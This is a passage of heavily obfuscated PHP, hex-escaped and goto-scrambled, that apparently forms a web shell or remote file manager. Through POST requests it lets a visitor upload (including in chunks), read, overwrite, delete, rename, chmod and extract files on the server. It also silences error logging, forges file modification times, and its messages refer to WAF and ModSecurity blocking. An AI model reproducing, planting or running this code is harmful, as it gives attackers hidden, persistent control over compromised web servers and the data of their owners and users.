$O1913, "\151\x73\x5f\144\x69\162" => $O6269, "\163\151\x7a\145" => $O4396, "\160\x65\x72\155\x69\163\x73\x69\x6f\x6e" => o1719($O8988), "\155\x6f\144\151\146\x69\145\144" => $O7102 ? date("\131\55\x6d\x2d\144\x20\x48\x3a\x69\72\163", $O7102) : "\125\x6e\153\156\157\x77\156", "\155\157\x64\x69\146\x69\x65\144\x5f\164\151\155\145\163\164\x61\155\x70" => $O7102 ? $O7102 : 0, "\151\163\x5f\x77\x72\151\x74\x61\142\x6c\145" => o9322($O8988)]; goto O3986; O3768: goto O0691; goto O3440; O3986: O0691: goto O4131; O6110: $O7102 = @filemtime($O8988); goto O1024; O2070: $O8988 = $O3432 . DIRECTORY_SEPARATOR . $O1913; goto O6066; O4131: } goto O1651; O3735: goto O1184; goto O6744; O5588: O1880(true, '', ["\x66\151\x6c\145\163" => $O7827, "\x63\x75\162\162\145\x6e\x74\120\141\x74\x68" => $O3432]); goto O3735; O6179: $O3432 = $O0377; goto O9988; O8691: if (empty($O4381)) { goto O9767; } goto O5567; O6394: O7064: goto O0402; O1604: O7750: goto O6179; O6744: case "\143\162\145\x61\164\x65": goto O7721; O7438: O6381: goto O1647; O1018: goto O6381; goto O1977; O5714: if (@mkdir($O5714, 0755, true)) { goto O2989; } goto O9880; O8985: O7426: goto O2051; O1647: goto O1184; goto O1198; O0179: o1880(true, "\106\x6f\154\x64\145\x72\40\x63\x72\x65\141\164\x65\x64\x20\x73\165\x63\x63\x65\x73\x73\x66\x75\154\x6c\x79"); goto O7438; O1977: O2989: goto O0179; O9880: o1880(false, "\106\141\x69\x6c\145\144\40\x74\157\x20\x63\162\145\x61\164\145\40\146\157\154\144\145\162"); goto O1018; O4917: if (!empty($O9997)) { goto O7426; } goto O3586; O3586: O1880(false, "\106\157\x6c\144\145\x72\40\156\141\155\x65\40\x72\x65\161\x75\151\162\x65\x64"); goto O8985; O7721: $O9997 = $_POST["\156\141\x6d\145"] ?? ''; goto O4917; O2051: $O5714 = $O3432 . DIRECTORY_SEPARATOR . $O9997; goto O5714; O1198: case "\x63\x72\x65\x61\x74\145\x5f\x66\x69\154\145": goto O7555; O3363: goto O1184; goto O8159; O4650: o1880(false, "\x46\x69\154\145\x20\x6e\141\x6d\x65\x20\x72\x65\161\x75\x69\162\x65\x64"); goto O6584; O1558: if (!file_exists($O7211)) { goto O8789; } goto O9110; O0889: if (@file_put_contents($O7211, '') !== false) { goto O1176; } goto O5441; O6621: if (!empty($O9997)) { goto O6641; } goto O4650; O6584: O6641: goto O7428; O5441: O1880(false, "\106\141\x69\x6c\145\144\x20\x74\157\x20\x63\162\145\141\x74\x65\40\146\x69\x6c\x65"); goto O3534; O7555: $O9997 = $_POST["\156\x61\155\145"] ?? ''; goto O6621; O7428: $O7211 = $O3432 . DIRECTORY_SEPARATOR . basename($O9997); goto O1558; O9110: o1880(false, "\x46\x69\154\x65\40\x61\154\x72\145\141\x64\x79\40\x65\170\x69\163\x74\x73"); goto O7108; O7108: O8789: goto O0889; O8491: O1176: goto O2185; O2185: o1880(true, "\x46\x69\154\x65\40\x63\162\145\141\164\x65\x64\40\163\165\x63\x63\145\163\163\146\165\x6c\154\171"); goto O2909; O2909: O7490: goto O3363; O3534: goto O7490; goto O8491; O8159: case "\165\160\x6c\157\141\x64": goto O1915; O1634: $O8818 = @file_put_contents($O9485, $O4441); goto O0036; O0848: if (!(!$O8310 || !file_exists($O9485) || @filesize($O9485) <= 0)) { goto O4511; } goto O8297; O6990: $O9485 = $O3432 . DIRECTORY_SEPARATOR . $O2796; goto O2212; O3782: $O2796 = preg_replace("\x2f\x5b\136\x61\x2d\x7a\x41\55\x5a\x30\x2d\x39\x2e\137\x2d\x5d\x2f", "\x5f", basename($O6359)); goto O6990; O3141: @fclose($O4395); goto O7588; O6186: if (isset($_FILES["\146\151\x6c\145"])) { goto O2005; } goto O4438; O3176: if (!file_exists($O9998)) { goto O1096; } goto O4954; O8297: if (!file_exists($O9998)) { goto O0346; } goto O2661; O7962: $O8310 = true; goto O7591; O7591: O6751: goto O4652; O7303: $O6849 = @fopen($O9485, "\x77\x62"); goto O9120; O9863: O1880(true, "\106\151\x6c\x65\x20\x75\160\x6c\x6f\x61\144\145\144\x20\163\165\x63\x63\145\163\163\x66\x75\154\154\171", ["\x66\151\x6c\145\x6e\x61\x6d\145" => $O2796, "\163\x69\x7a\145" => $O1044, "\155\x65\x74\150\x6f\144" => $O9040]); goto O3743; O2839: O1102: goto O4616; O3615: $O6807 = @stream_copy_to_stream($O4395, $O6849); goto O3141; O4652: O9633: goto O7510; O6337: @unlink($O9485); goto O3450; O3450: o1880(false, "\125\x70\154\157\141\144\x20\x66\141\x69\x6c\145\144\x20\55\x20\x66\151\x6c\x65\x20\151\163\x20\60\40\142\x79\164\145\163\x20\50\x73\x65\x72\x76\x65\162\x2f\127\x41\106\x20\x62\x6c\x6f\143\x6b\x69\156\x67\40\167\x72\151\x74\145\163\x29", ["\155\145\x74\150\157\144\x5f\164\x72\151\x65\x64" => $O9040, "\x74\141\162\x67\145\164" => $O9485, "\x74\155\x70\x5f\163\x69\x7a\145" => $O6749]); goto O3960; O6868: if (!(!is_dir($O3432) || !is_writable($O3432))) { goto O2873; } goto O8496; O8031: if (!(!$O8310 || !file_exists($O9485) || @filesize($O9485) <= 0)) { goto O6472; } goto O1112; O2777: $O9040 = ''; goto O9914; O9120: if ($O4395 && $O6849) { goto O2130; } goto O4426; O2661: if (!@copy($O9998, $O9485)) { goto O9633; } goto O3113; O1510: $O9040 = "\163\x74\162\145\x61\155"; goto O1298; O1298: $O8310 = true; goto O9889; O7671: O8704: goto O8031; O6076: $O1725 = $_FILES["\x66\151\x6c\x65"]; goto O8398; O8615: O4419: goto O8209; O9448: @fclose($O4395); goto O2209; O3743: goto O1184; goto O9770; O9916: if (!($O6807 !== false && $O6807 > 0)) { goto O5676; } goto O1510; O8327: $O9998 = $O1725["\164\155\160\x5f\x6e\141\x6d\x65"]; goto O3131; O2212: $O8310 = false; goto O2777; O4426: if (!$O4395) { goto O3598; } goto O9448; O4237: @ini_set("\154\x6f\147\x5f\145\x72\162\157\162\163", "\x30"); goto O6186; O7317: $O9040 = "\x6d\157\x76\145\x5f\165\160\154\157\141\x64\145\144\137\x66\x69\x6c\x65"; goto O7387; O1821: $O9040 = "\x63\x6f\x70\171"; goto O7962; O8398: if (!($O1725["\145\x72\162\x6f\162"] !== UPLOAD_ERR_OK)) { goto O3443; } goto O5334; O8496: o1880(false, "\x54\x61\162\x67\x65\x74\40\x64\151\162\145\x63\164\157\x72\171\x20\x6e\157\x74\x20\167\162\x69\x74\x61\x62\154\x65\x3a\40" . $O3432); goto O8132; O9889: O5676: goto O8615; O8209: O1096: goto O7671; O3812: O2685: goto O4397; O7590: if (!($O4441 !== false && strlen($O4441) > 0)) { goto O1166; } goto O1634; O2302: o1880(false, "\124\x65\155\x70\x6f\162\x61\162\x79\40\165\160\154\x6f\141\144\x20\x66\151\154\x65\x20\x6d\151\x73\x73\x69\156\x67"); goto O3234; O3847: if (!($O1044 === false || $O1044 <= 0)) { goto O1988; } goto O6337; O6414: if (!($O6749 === false || $O6749 <= 0)) { goto O2665; } goto O4567; O0845: O6472: goto O0848; O1850: if (!@move_uploaded_file($O9998, $O9485)) { goto O7058; } goto O7317; O3234: O9509: goto O8327; O4397: goto O4419; goto O7282; O4250: O4511: goto O7669; O6566: O6599: goto O6971; O7510: O0346: goto O4250; O0732: $O9040 = "\146\151\154\x65\137\160\x75\x74\x5f\143\x6f\x6e\164\x65\x6e\164\x73"; goto O2436; O3131: $O6359 = $O1725["\x6e\x61\x6d\x65"] ?? "\146\151\154\145\56\x62\151\x6e"; goto O3332; O0519: if (!$O6849) { goto O2685; } goto O1105; O4567: O1880(false, "\124\145\x6d\160\x6f\x72\x61\162\x79\x20\x66\x69\x6c\x65\x20\151\163\x20\145\x6d\x70\x74\171\x20\50\127\x41\106\x2f\x4d\157\144\123\x65\143\165\x72\151\164\x79\x20\x62\x6c\x6f\143\x6b\x65\144\x29", ["\144\145\x62\165\x67" => ["\162\x65\x70\157\162\164\145\x64\137\x73\x69\172\145" => $O1725["\x73\151\172\x65"], "\141\143\x74\x75\x61\x6c\x5f\x73\x69\172\145" => $O6749, "\164\x6d\x70\137\x66\x69\154\x65" => $O9998, "\165\160\154\x6f\141\x64\137\164\x6d\x70\x5f\x64\x69\162" => ini_get("\165\160\154\x6f\141\x64\137\164\x6d\160\x5f\144\151\162"), "\x70\x6f\x73\164\137\155\x61\x78\137\163\x69\172\x65" => ini_get("\160\x6f\x73\x74\137\x6d\x61\x78\137\x73\x69\172\145"), "\x75\x70\154\x6f\141\144\x5f\x6d\141\x78\x5f\146\151\x6c\x65\163\151\x7a\145" => ini_get("\x75\x70\x6c\x6f\141\144\137\155\x61\x78\137\146\151\x6c\x65\163\x69\172\145")]]); goto O7824; O9306: if (!(@filesize($O9485) > 0)) { goto O6751; } goto O1821; O7185: O7058: goto O6566; O1915: @ini_set("\144\x69\x73\x70\x6c\x61\171\x5f\145\x72\162\157\162\x73", "\x30"); goto O4237; O3113: clearstatcache(true, $O9485); goto O9306; O8132: O2873: goto O3782; O7824: O2665: goto O6868; O4954: $O4395 = @fopen($O9998, "\x72\x62"); goto O7303; O4329: if (!(!isset($O1725["\164\x6d\160\137\156\x61\x6d\x65"]) || !is_file($O1725["\164\x6d\x70\x5f\x6e\141\x6d\x65"]))) { goto O9509; } goto O2302; O7588: @fclose($O6849); goto O9916; O5373: O2005: goto O6076; O3332: $O6749 = @filesize($O9998); goto O6414; O7282: O2130: goto O3615; O2209: O3598: goto O0519; O6454: O1880(false, $O6165[$O1725["\145\162\162\x6f\162"]] ?? "\125\x70\x6c\157\x61\144\40\145\162\162\157\x72\x3a\x20" . $O1725["\145\162\162\x6f\x72"]); goto O5290; O2448: $O4441 = @file_get_contents($O9998); goto O7590; O0036: if (!($O8818 !== false && $O8818 > 0)) { goto O1102; } goto O0732; O2436: $O8310 = true; goto O2839; O9865: O2455: goto O0845; O4438: O1880(false, "\x4e\x6f\x20\x66\151\154\145\x20\165\x70\154\x6f\x61\144\x65\144"); goto O5373; O9914: if (!is_uploaded_file($O9998)) { goto O6599; } goto O1850; O6971: if (!(!$O8310 || !file_exists($O9485) || @filesize($O9485) <= 0)) { goto O8704; } goto O3176; O3960: O1988: goto O9863; O7387: $O8310 = true; goto O7185; O4616: O1166: goto O9865; O1105: @fclose($O6849); goto O3812; O1112: if (!file_exists($O9998)) { goto O2455; } goto O2448; O7669: $O1044 = @filesize($O9485); goto O3847; O5334: $O6165 = [UPLOAD_ERR_INI_SIZE => "\106\151\x6c\145\x20\145\x78\x63\145\x65\x64\x73\x20\x75\x70\x6c\x6f\141\x64\137\155\141\170\137\146\151\x6c\145\x73\x69\172\x65", UPLOAD_ERR_FORM_SIZE => "\106\151\154\145\x20\145\170\x63\x65\x65\x64\163\x20\115\101\x58\137\106\111\x4c\105\137\123\111\132\105", UPLOAD_ERR_PARTIAL => "\x46\x69\x6c\145\40\x6f\156\154\171\x20\160\141\x72\164\151\x61\x6c\x6c\x79\40\165\160\154\157\141\x64\145\x64", UPLOAD_ERR_NO_FILE => "\x4e\157\40\x66\x69\154\x65\40\165\160\x6c\x6f\141\x64\x65\x64", UPLOAD_ERR_NO_TMP_DIR => "\115\151\x73\x73\x69\156\x67\40\x74\x65\x6d\x70\157\162\x61\x72\171\40\146\157\x6c\144\145\x72", UPLOAD_ERR_CANT_WRITE => "\x46\141\151\x6c\x65\x64\40\x74\x6f\40\167\x72\151\164\145\40\164\x6f\40\x64\x69\x73\x6b", UPLOAD_ERR_EXTENSION => "\x55\160\x6c\x6f\141\x64\40\x73\x74\x6f\x70\x70\145\144\x20\142\x79\40\145\x78\x74\x65\x6e\x73\x69\x6f\x6e"]; goto O6454; O5290: O3443: goto O4329; O9770: case "\165\160\x6c\157\x61\x64\x5f\x63\150\165\156\153": goto O1719; O2515: O1880(false, "\x49\x6e\x76\x61\154\x69\x64\40\x6d\145\x74\141\144\141\164\x61"); goto O7168; O1535: O5984: goto O2535; O8517: if (!(!file_exists($O8035) || !is_file($O8035))) { goto O1550; } goto O5963; O1174: O1880(false, "\x45\155\160\x74\171\x20\x63\150\x75\x6e\153\x20\x28\142\x6c\x6f\143\x6b\145\x64\x20\x62\171\40\163\x65\162\166\x65\x72\x29", ["\143\150\x75\156\153\137\x69\x6e\144\x65\x78" => $O5028, "\164\155\x70\137\156\x61\x6d\x65" => $O8035]); goto O6249; O3901: $O3295 = true; goto O4230; O5966: $O3295 = true; goto O7336; O3842: O2106: goto O9691; O1719: if (isset($_FILES["\x63\x68\x75\156\153"])) { goto O2239; } goto O0319; O2288: if (!($O5028 === $O3863 - 1)) { goto O7895; } goto O5249; O0100: array_map("\x75\x6e\154\151\156\x6b", $O0842); goto O3837; O4967: o1880(false, "\103\x61\x6e\x6e\x6f\x74\x20\x63\x72\x65\141\x74\x65\x20\146\x69\x6e\141\x6c\x20\146\151\154\145"); goto O1736; O3837: O9227: goto O8249; O8249: @rmdir($O8803); goto O6349; O9302: $O3863 = intval($_POST["\164\157\x74\141\154\137\x63\x68\165\x6e\x6b\163"] ?? 0); goto O4789; O7854: if (is_dir($O8803)) { goto O5984; } goto O0469; O1947: clearstatcache(true, $O7926); goto O7582; O9691: O9225: goto O7891; O0751: if (!$O9101) { goto O6024; } goto O5782; O9080: o1880(false, "\115\151\x73\163\151\156\x67\40\x63\x68\x75\x6e\153\40\43" . $O0439); goto O2892; O8280: O9574: goto O6439; O5439: $O4444 = $O8803 . DIRECTORY_SEPARATOR . "\x63\150\x75\156\153\137" . str_pad($O5028, 6, "\60", STR_PAD_LEFT); goto O6140; O3706: O1880(true, "\x43\150\x75\156\153\40\162\x65\x63\145\151\x76\145\144", ["\143\150\x75\x6e\x6b" => $O5028, "\x73\x69\x7a\145" => @filesize($O4444)]); goto O2120; O3466: @fclose($O4395); goto O8273; O2559: @fclose($O6849); goto O0673; O2120: goto O1184; goto O1373; O2896: @fclose($O4395); goto O6011; O8816: if ($O4395 && $O6849) { goto O6713; } goto O9530; O0276: if (!($O0439 < $O3863)) { goto O0439; } goto O4836; O7582: $O1207 = @md5_file($O7926); goto O2961; O3948: if (!(!is_dir($O3432) || !is_writable($O3432))) { goto O9574; } goto O6691; O1736: O8948: goto O6403; O6991: O6713: goto O7678; O5106: if (is_file($O3817)) { goto O5352; } goto O6813; O4836: $O3817 = $O8803 . DIRECTORY_SEPARATOR . "\x63\x68\x75\156\x6b\137" . str_pad($O0439, 6, "\x30", STR_PAD_LEFT); goto O5106; O0324: if (!($O4396 === false || $O4396 <= 0)) { goto O0550; } goto O1174; O2801: $O5028 = intval($_POST["\x63\150\165\156\153\x5f\x69\x6e\x64\x65\170"] ?? -1); goto O9302; O6349: $O1044 = @filesize($O7926); goto O0753; O9530: if (!$O4395) { goto O0674; } goto O2896; O1766: $O4396 = @filesize($O8035); goto O0324; O9850: O1550: goto O1766; O6011: O0674: goto O3147; O9135: if ($O2093) { goto O8948; } goto O4967; O2892: O5352: goto O2379; O2379: $O9101 = @fopen($O3817, "\162\x62"); goto O0751; O1073: if (!(!$O3295 || !file_exists($O4444) || @filesize($O4444) <= 0)) { goto O0948; } goto O2712; O6691: O1880(false, "\x54\141\x72\x67\145\x74\40\156\x6f\164\x20\167\x72\x69\x74\141\142\x6c\145"); goto O8280; O9066: $O2093 = @fopen($O7926, "\167\142"); goto O9135; O0753: if (!($O1044 === false || $O1044 <= 0)) { goto O4084; } goto O2513; O0319: O1880(false, "\103\150\165\x6e\x6b\40\155\x69\x73\163\x69\x6e\147"); goto O7830; O4789: $O4187 = $_POST["\146\151\154\145\x6e\141\x6d\145"] ?? ''; goto O9230; O0779: O0948: goto O2288; O5782: @stream_copy_to_stream($O9101, $O2093); goto O3737; O0634: $O3295 = true; goto O3842; O2702: O7895: goto O3706; O6403: $O0439 = 0; goto O3718; O9808: O4084: goto O2178; O7678: $O6807 = @stream_copy_to_stream($O4395, $O6849); goto O3466; O3242: if (!is_uploaded_file($O8035)) { goto O9225; } goto O3330; O3818: if (!(!$O3295 && file_exists($O8035))) { goto O1286; } goto O7764; O5558: O7758: goto O8958; O8958: $O0439++; goto O5058; O0554: if (!(!$O3295 && file_exists($O8035))) { goto O3355; } goto O4876; O2535: $O8035 = $_FILES["\143\150\165\156\153"]["\x74\155\160\137\156\141\x6d\145"]; goto O8517; O6048: if (!($O6807 !== false && $O6807 > 0)) { goto O1842; } goto O3901; O5716: $O9414 = preg_replace("\x2f\x5b\136\x61\x2d\172\101\55\132\x30\55\71\137\55\x5d\57", '', $_POST["\165\160\x6c\x6f\141\x64\x5f\151\144"] ?? ''); goto O2801; O5058: goto O0745; goto O4863; O6813: @fclose($O2093); goto O9080; O3737: @fclose($O9101); goto O2642; O0469: @mkdir($O8803, 0755, true); goto O1535; O2642: O6024: goto O5558; O3848: O3202: goto O3974; O0344: $O0842 = @glob($O8803 . DIRECTORY_SEPARATOR . "\143\150\x75\x6e\x6b\137\52"); goto O2000; O4863: O0439: goto O0419; O6140: $O3295 = false; goto O3242; O6249: O0550: goto O5439; O2961: $O4769 = @sha1_file($O7926); goto O0344; O5347: O1286: goto O0554; O7336: O4620: goto O3518; O7377: $O6849 = @fopen($O4444, "\x77\142"); goto O8816; O4144: if (!($O4441 !== false && strlen($O4441) > 0)) { goto O3889; } goto O8748; O3147: if (!$O6849) { goto O6283; } goto O2559; O0673: O6283: goto O4700; O8273: @fclose($O6849); goto O6048; O4230: O1842: goto O1435; O5249: $O7926 = $O3432 . DIRECTORY_SEPARATOR . $O2796; goto O9066; O4876: if (!@copy($O8035, $O4444)) { goto O3202; } goto O8605; O8605: $O3295 = true; goto O3848; O5963: O1880(false, "\103\x68\x75\156\153\x20\x74\x6d\160\40\x66\151\x6c\x65\x20\155\x69\x73\163\151\x6e\x67"); goto O9850; O2712: O1880(false, "\106\141\151\x6c\145\144\40\164\157\40\x73\x61\x76\x65\x20\143\x68\165\x6e\x6b\40\x23" . $O5028); goto O0779; O2513: @unlink($O7926); goto O0119; O7891: if (!(!$O3295 && file_exists($O8035))) { goto O4015; } goto O0175; O2000: if (!$O0842) { goto O9227; } goto O0100; O3518: O3889: goto O5347; O7365: $O8803 = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "\x63\x68\x75\156\153\x73\x5f" . $O9414; goto O7854; O2668: O4015: goto O3818; O8748: if (!(@file_put_contents($O4444, $O4441) !== false)) { goto O4620; } goto O5966; O2178: o1880(true, "\x55\160\154\x6f\141\x64\x20\143\x6f\155\160\154\x65\x74\x65\x64", ["\146\151\x6c\x65" => $O2796, "\163\151\172\145" => $O1044, "\x6d\x64\65" => $O1207, "\163\x68\141\61" => $O4769]); goto O2702; O0119: O1880(false, "\x46\x69\x6e\x61\154\x20\146\x69\154\x65\x20\x30\x20\113\x42"); goto O9808; O7764: $O4441 = @file_get_contents($O8035); goto O4144; O3330: if (!@move_uploaded_file($O8035, $O4444)) { goto O2106; } goto O0634; O9230: if (!(!$O9414 || $O5028 < 0 || $O3863 <= 0)) { goto O6644; } goto O2515; O6439: $O2796 = preg_replace("\57\x5b\136\141\x2d\x7a\x41\x2d\132\x30\55\71\x2e\137\x2d\135\x2f", "\137", basename($O4187)); goto O7365; O0419: @fclose($O2093); goto O1947; O4700: goto O9722; goto O6991; O7830: O2239: goto O5716; O3974: O3355: goto O1073; O0175: $O4395 = @fopen($O8035, "\x72\x62"); goto O7377; O7168: O6644: goto O3948; O3718: O0745: goto O0276; O1435: O9722: goto O2668; O1373: case "\162\x65\141\x64": goto O5264; O2898: if ($O4441 !== false) { goto O1266; } goto O9781; O1336: O1880(false, "\106\151\x6c\145\x6e\x61\155\x65\40\162\x65\x71\165\151\162\x65\144"); goto O6404; O0524: goto O5519; goto O4292; O8638: $O4441 = @file_get_contents($O7211); goto O2898; O9781: o1880(false, "\106\x61\x69\154\x65\144\40\x74\157\x20\x72\145\141\x64\x20\x66\x69\x6c\x65"); goto O0524; O4292: O1266: goto O3775; O3775: o1880(true, '', ["\x63\x6f\x6e\164\x65\156\x74" => $O4441]); goto O3074; O5264: $O3677 = $_POST["\x66\151\154\x65"] ?? ''; goto O8171; O3074: O5519: goto O3318; O3349: $O7211 = $O3432 . DIRECTORY_SEPARATOR . $O3677; goto O8638; O8171: if (!empty($O3677)) { goto O6147; } goto O1336; O6404: O6147: goto O3349; O3318: goto O1184; goto O7970; O7970: case "\x73\141\x76\145": goto O6311; O4451: $O5178 = @fopen($O7211, "\x77"); goto O6062; O9044: @fclose($O5178); goto O2541; O0442: $O4441 = $_POST["\143\157\x6e\x74\x65\x6e\x74"]; goto O2684; O5879: O7633: goto O4487; O6548: if ($O8818) { goto O7992; } goto O3194; O8890: $O6989 = @file_put_contents($O7211, $O4441); goto O1387; O6062: if (!($O5178 !== false)) { goto O7633; } goto O3333; O1387: if (!($O6989 !== false)) { goto O7068; } goto O4792; O2541: if (!($O6989 !== false)) { goto O7730; } goto O2277; O5494: O7992: goto O0660; O5549: O6415: goto O8731; O5855: O8123: goto O0442; O3333: $O6989 = @fwrite($O5178, $O4441); goto O9044; O9494: O7730: goto O5879; O6311: $O3677 = $_POST["\146\151\154\145"] ?? ''; goto O0641; O0641: if (array_key_exists("\x63\157\x6e\x74\145\x6e\164", $_POST)) { goto O8123; } goto O1990; O4487: O2189: goto O6548; O0660: o1880(true, "\106\151\x6c\145\40\x73\141\x76\145\144\40\163\x75\143\x63\x65\163\x73\x66\x75\x6c\x6c\x79", ["\142\171\164\145\x73" => strlen($O4441)]); goto O2897; O4792: $O8818 = true; goto O7931; O1413: goto O1184; goto O0774; O5265: O1880(false, "\106\151\154\x65\156\141\x6d\145\40\162\x65\161\165\x69\162\145\144"); goto O5549; O3194: o1880(false, "\106\141\151\x6c\145\x64\x20\x74\x6f\40\x73\141\166\x65\x20\146\151\x6c\x65\x20\x2d\x20\143\x68\145\143\x6b\x20\x77\x72\x69\x74\145\x20\160\x65\x72\x6d\151\x73\x73\x69\157\156\x73"); goto O0954; O1990: O1880(false, "\x43\x6f\156\x74\145\x6e\x74\40\x66\151\x65\x6c\x64\40\x6d\151\x73\163\x69\x6e\x67"); goto O5855; O2277: $O8818 = true; goto O9494; O0954: goto O9415; goto O5494; O8731: $O7211 = $O3432 . DIRECTORY_SEPARATOR . $O3677; goto O2530; O7931: O7068: goto O4200; O2684: if (!empty($O3677)) { goto O6415; } goto O5265; O4200: if ($O8818) { goto O2189; } goto O4451; O2530: $O8818 = false; goto O8890; O2897: O9415: goto O1413; O0774: case "\x64\145\154\145\164\x65": goto O7704; O7396: goto O7395; goto O7613; O5451: o1880(true, "\104\145\x6c\145\x74\145\144\x20\163\165\143\x63\145\x73\x73\x66\x75\x6c\x6c\171"); goto O8812; O6894: O8933: goto O1881; O7233: O2841: goto O0366; O4909: if (!empty($O3677)) { goto O8933; } goto O9465; O3725: o1880(false, "\x46\141\x69\154\x65\144\x20\x74\157\40\x64\145\154\x65\164\x65\x20\x64\x69\x72\145\x63\164\x6f\x72\x79"); goto O7396; O6228: O7395: goto O6792; O1106: O1880(true, "\104\x65\154\x65\x74\145\144\x20\x73\x75\143\143\145\x73\163\x66\165\x6c\x6c\x79"); goto O6228; O3031: goto O5518; goto O7233; O7704: $O3677 = $_POST["\146\x69\154\145"] ?? ''; goto O4909; O1881: $O7211 = $O3432 . DIRECTORY_SEPARATOR . $O3677; goto O9893; O8812: O7004: goto O3031; O3858: O2507: goto O5451; O9893: if (@is_dir($O7211)) { goto O2841; } goto O1264; O0440: goto O1184; goto O5100; O2971: O1880(false, "\x46\141\x69\154\145\x64\x20\164\x6f\40\144\145\x6c\145\x74\145\40\x66\151\x6c\x65"); goto O8927; O0366: if (o9570($O7211)) { goto O6047; } goto O3725; O6792: O5518: goto O0440; O9465: O1880(false, "\106\151\154\x65\x6e\x61\x6d\145\x20\x72\x65\161\165\x69\162\145\x64"); goto O6894; O1264: if (@unlink($O7211)) { goto O2507; } goto O2971; O7613: O6047: goto O1106; O8927: goto O7004; goto O3858; O5100: case "\144\x65\154\145\x74\145\x5f\155\x75\154\164\x69\160\x6c\145": goto O5989; O4190: goto O1184; goto O3860; O5989: $O7827 = explode("\54", $_POST["\146\151\x6c\x65\163"] ?? ''); goto O7326; O0057: O8381: goto O4190; O7326: $O8310 = true; goto O8033; O7318: o1880(true, "\x49\164\x65\155\x73\x20\x64\145\154\145\164\145\x64\40\x73\165\x63\143\x65\x73\x73\146\x75\154\154\x79"); goto O0057; O8190: O6528: goto O1372; O8230: O9329: goto O7318; O1213: goto O8381; goto O8230; O1372: if ($O8310) { goto O9329; } goto O9730; O8033: foreach ($O7827 as $O3677) { goto O6837; O3331: goto O0284; goto O6312; O3624: $O8310 = $O8310 && @unlink($O7211); goto O7626; O6312: O9006: goto O6721; O7626: goto O3929; goto O8203; O2590: $O8310 = $O8310 && O9570($O7211); goto O8874; O2678: O0284: goto O2978; O8952: if (@is_dir($O7211)) { goto O7385; } goto O3624; O8874: O3929: goto O2678; O8203: O7385: goto O2590; O6721: $O7211 = $O3432 . DIRECTORY_SEPARATOR . $O3677; goto O8952; O6837: if (!empty($O3677)) { goto O9006; } goto O3331; O2978: } goto O8190; O9730: o1880(false, "\123\x6f\x6d\x65\x20\151\x74\x65\155\x73\40\146\x61\x69\x6c\145\x64\x20\164\157\40\x64\145\x6c\145\164\145"); goto O1213; O3860: case "\x63\150\x6d\x6f\x64": goto O9846; O6709: $O9614 = $_POST["\x70\x65\162\155\x69\163\163\151\157\x6e"] ?? ''; goto O1876; O1691: O0073: goto O0920; O0685: O0912: goto O5273; O8811: o1880(false, "\106\141\x69\154\145\x64\40\164\157\x20\x63\x68\x61\156\147\x65\40\x70\x65\162\155\151\163\x73\151\157\x6e"); goto O9812; O8978: $O7211 = $O3432 . DIRECTORY_SEPARATOR . $O3677; goto O1562; O0920: o1880(true, "\x50\145\x72\x6d\x69\163\x73\151\157\156\40\143\150\141\x6e\x67\x65\144\40\163\x75\x63\143\145\x73\163\146\165\154\x6c\x79"); goto O0685; O2114: O8364: goto O8978; O9846: $O3677 = $_POST["\146\151\x6c\x65"] ?? ''; goto O6709; O5273: goto O1184; goto O5035; O1876: if (!(empty($O3677) || empty($O9614))) { goto O8364; } goto O4169; O1562: $O1033 = octdec($O9614); goto O6500; O9812: goto O0912; goto O1691; O6500: if (@chmod($O7211, $O1033)) { goto O0073; } goto O8811; O4169: O1880(false, "\x46\x69\154\145\x20\x61\x6e\144\x20\x70\x65\162\x6d\151\163\163\151\x6f\156\x20\162\145\161\165\x69\162\145\x64"); goto O2114; O5035: case "\x72\x65\156\141\155\145": goto O9254; O2417: O9310: goto O9677; O5618: o1880(false, "\x4f\154\144\x20\141\156\x64\40\x6e\x65\167\40\156\141\155\145\x20\x72\145\161\165\151\x72\145\x64"); goto O2417; O7461: O1880(false, "\106\x61\x69\154\x65\x64\40\164\x6f\x20\162\x65\156\141\x6d\x65"); goto O4414; O9677: $O2830 = $O3432 . DIRECTORY_SEPARATOR . $O4923; goto O0422; O0422: $O5714 = $O3432 . DIRECTORY_SEPARATOR . basename($O5798); goto O6447; O8221: $O5798 = $_POST["\x6e\x65\167"] ?? ''; goto O1301; O1301: if (!(empty($O4923) || empty($O5798))) { goto O9310; } goto O5618; O4414: goto O1720; goto O5556; O1261: O1880(true, "\122\145\x6e\x61\155\x65\x64\x20\163\x75\x63\x63\145\163\x73\146\165\x6c\x6c\x79"); goto O3937; O9254: $O4923 = $_POST["\157\154\144"] ?? ''; goto O8221; O3933: goto O1184; goto O5964; O6447: if (@rename($O2830, $O5714)) { goto O7835; } goto O7461; O3937: O1720: goto O3933; O5556: O7835: goto O1261; O5964: case "\155\157\144\151\x66\x69\x65\x64": goto O2605; O9669: if (@touch($O7211, intval($O5298))) { goto O5911; } goto O0302; O6826: $O7211 = $O3432 . DIRECTORY_SEPARATOR . $O3677; goto O9669; O9151: $O5298 = $_POST["\164\x69\x6d\x65\x73\x74\141\155\x70"] ?? ''; goto O9518; O9518: if (!(empty($O3677) || empty($O5298))) { goto O1844; } goto O2980; O2980: O1880(false, "\106\151\154\x65\40\x61\x6e\144\40\164\x69\155\x65\163\x74\141\155\x70\40\162\145\x71\165\151\162\145\144"); goto O6346; O1358: O6777: goto O3639; O5761: goto O6777; goto O6726; O0302: O1880(false, "\106\x61\x69\x6c\145\144\40\164\x6f\40\x63\x68\x61\x6e\x67\x65\40\155\x6f\x64\x69\x66\151\x65\144\40\144\141\164\x65"); goto O5761; O2605: $O3677 = $_POST["\146\151\154\145"] ?? ''; goto O9151; O6726: O5911: goto O4973; O4973: O1880(true, "\115\157\144\x69\146\151\145\x64\40\144\141\164\x65\40\143\150\x61\x6e\147\145\144\x20\x73\165\x63\143\x65\x73\x73\146\165\154\x6c\171"); goto O1358; O3639: goto O1184; goto O0997; O6346: O1844: goto O6826; O0997: case "\145\x78\x74\162\x61\x63\x74": goto O7537; O3308: O7628: goto O6025; O0322: o1880(false, $O7239); goto O2150; O9352: O7359: goto O1568; O7537: $O3677 = $_POST["\x66\x69\154\145"] ?? ''; goto O3928; O5790: O5477: goto O7328; O6025: goto O1184; goto O9055; O3763: list($O0971, $O7239) = o9015($O7211, $O3432); goto O9726; O2150: goto O7628; goto O5790; O7328: o1880(true, "\x46\151\154\145\40\x65\x78\164\x72\141\143\x74\145\144\x20\x73\x75\x63\143\x65\x73\x73\x66\x75\x6c\x6c\171"); goto O3308; O6796: o1880(false, "\x46\151\154\145\x6e\x61\155\x65\40\x72\145\x71\x75\x69\x72\145\144"); goto O9352; O9726: if ($O0971) { goto O5477; } goto O0322; O1568: $O7211 